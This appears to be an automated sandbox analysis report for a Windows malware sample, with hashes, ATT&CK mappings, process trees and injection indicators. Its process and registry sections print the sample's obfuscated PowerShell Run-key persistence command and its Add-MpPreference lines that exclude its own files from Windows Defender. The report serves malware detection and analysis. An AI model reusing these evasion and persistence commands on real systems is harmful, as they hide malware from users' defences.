fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f

Analysis

max time kernel
149s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 10:39

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General

Target
fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe
Size 3.1MB
Sample260910-mp45esvwg1
SHA256 fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f
MD5 8af53c73b486d2017e50379c952d2a88
SHA1 3c9828ab7e7a8050dab5e76a5578cffe5caa2cc4
SHA512 cbfd679fc19ade1651199d76467c64237b87066b6334e7371fea1caa883aba45d1e19600683fb9f205224170bc0ce7485c09330df89328934d4cc0e3da0aec6b
SSDEEP 49152:v115IJ4M5AcHG9dJRYkZrT2tbifmc0YWmwKC09BWSeOGrIC+gmZdCGQ1zXa8g20:biJECkJT2tbPc0VKC09BWZFrCgmO1zJ
TLSH
T1B8E533944106C610FAFB5BB34A57F332B374FE6AA140E2129FF96CEF32256184906F56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5644	powershell.exe
4744	powershell.exe
252	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5284	sYYffJspT.exe
2164	sYYffJspT.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\sYYffJspT = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$sgjaqo=[System.Environment]::TickCount;$xkno50=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$vxkfrf=6274;$th0kab=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNZWWZmSnNwVC5leGU=')));$pz43st=Get-Date;& $xkno50 -FilePath $th0kab\""	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/4120-6-0x00000240454F0000-0x0000024045502000-memory.dmp	SmartAssembly

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4120 set thread context of 3272	4120	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe	91
PID 5284 set thread context of 2164	5284	sYYffJspT.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4120	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe
5644	powershell.exe
5644	powershell.exe
252	powershell.exe
252	powershell.exe
252	powershell.exe
5284	sYYffJspT.exe
4744	powershell.exe
4744	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe
Token: SeDebugPrivilege	5644	powershell.exe
Token: SeIncreaseQuotaPrivilege	5644	powershell.exe
Token: SeSecurityPrivilege	5644	powershell.exe
Token: SeTakeOwnershipPrivilege	5644	powershell.exe
Token: SeLoadDriverPrivilege	5644	powershell.exe
Token: SeSystemProfilePrivilege	5644	powershell.exe
Token: SeSystemtimePrivilege	5644	powershell.exe
Token: SeProfSingleProcessPrivilege	5644	powershell.exe
Token: SeIncBasePriorityPrivilege	5644	powershell.exe
Token: SeCreatePagefilePrivilege	5644	powershell.exe
Token: SeBackupPrivilege	5644	powershell.exe
Token: SeRestorePrivilege	5644	powershell.exe
Token: SeShutdownPrivilege	5644	powershell.exe
Token: SeDebugPrivilege	5644	powershell.exe
Token: SeSystemEnvironmentPrivilege	5644	powershell.exe
Token: SeRemoteShutdownPrivilege	5644	powershell.exe
Token: SeUndockPrivilege	5644	powershell.exe
Token: SeManageVolumePrivilege	5644	powershell.exe
Token: 33	5644	powershell.exe
Token: 34	5644	powershell.exe
Token: 35	5644	powershell.exe
Token: 36	5644	powershell.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeDebugPrivilege	5284	sYYffJspT.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe
Token: 36	4744	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 5644	4120	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe	89
PID 4120 wrote to memory of 3272	4120	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe	91
PID 4120 wrote to memory of 3272	4120	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe	91
PID 4120 wrote to memory of 3272	4120	fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe	91
PID 252 wrote to memory of 5284	252	powershell.exe	95
PID 5284 wrote to memory of 4744	5284	sYYffJspT.exe	97
PID 5284 wrote to memory of 2164	5284	sYYffJspT.exe	99
PID 5284 wrote to memory of 2164	5284	sYYffJspT.exe	99
PID 5284 wrote to memory of 2164	5284	sYYffJspT.exe	99

C:\Users\Admin\AppData\Local\Temp\fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe
"C:\Users\Admin\AppData\Local\Temp\fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5644
- C:\Users\Admin\AppData\Local\Temp\fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe
  C:\Users\Admin\AppData\Local\Temp\fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f.exe
  2⤵
  PID:3272

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$sgjaqo=[System.Environment]::TickCount;$xkno50=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$vxkfrf=6274;$th0kab=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNZWWZmSnNwVC5leGU=')));$pz43st=Get-Date;& $xkno50 -FilePath $th0kab"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:252
- C:\Users\Admin\AppData\Roaming\sYYffJspT.exe
  "C:\Users\Admin\AppData\Roaming\sYYffJspT.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\sYYffJspT.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4744
- - C:\Users\Admin\AppData\Roaming\sYYffJspT.exe
    C:\Users\Admin\AppData\Roaming\sYYffJspT.exe
    3⤵
    - Executes dropped EXE
    PID:2164

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_5lve2xp5.4yx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5lve2xp5.4yx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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sYYffJspT.exe

Path C:\Users\Admin\AppData\Roaming\sYYffJspT.exe
Size 3.1MB
SHA256 fa255bb8ed5c97597ba1ebeac61679e837bca83d8ced48293ea9c2f497aae66f
MD5 8af53c73b486d2017e50379c952d2a88
SHA1 3c9828ab7e7a8050dab5e76a5578cffe5caa2cc4
SHA512 cbfd679fc19ade1651199d76467c64237b87066b6334e7371fea1caa883aba45d1e19600683fb9f205224170bc0ce7485c09330df89328934d4cc0e3da0aec6b
SSDEEP 49152:v115IJ4M5AcHG9dJRYkZrT2tbifmc0YWmwKC09BWSeOGrIC+gmZdCGQ1zXa8g20:biJECkJT2tbPc0VKC09BWZFrCgmO1zJ
TLSH
T1B8E533944106C610FAFB5BB34A57F332B374FE6AA140E2129FF96CEF32256184906F56
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/3272-19-0x0000000140000000-0x000000014025C000-memory.dmp

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memory/4120-8-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-11-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-7-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-6-0x00000240454F0000-0x0000024045502000-memory.dmp

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memory/4120-21-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-9-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-10-0x0000024062130000-0x0000024062420000-memory.dmp

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memory/4120-5-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-12-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-0-0x00007FF903B0F000-0x00007FF903B10000-memory.dmp

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memory/4120-4-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-3-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-2-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/4120-1-0x0000024044CC0000-0x0000024044FDC000-memory.dmp

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memory/4744-49-0x0000011DCF3A0000-0x0000011DCF452000-memory.dmp

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memory/5644-20-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-22-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-23-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-24-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-25-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-29-0x0000026777EF0000-0x0000026777F0E000-memory.dmp

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memory/5644-30-0x0000026777F10000-0x0000026777FC2000-memory.dmp

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memory/5644-26-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-31-0x0000026777FD0000-0x0000026777FDA000-memory.dmp

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memory/5644-32-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-33-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-34-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-16-0x0000026777C50000-0x0000026777C72000-memory.dmp

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memory/5644-18-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-17-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-41-0x00007FF903980000-0x00007FF904324000-memory.dmp

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memory/5644-13-0x00007FF903980000-0x00007FF904324000-memory.dmp

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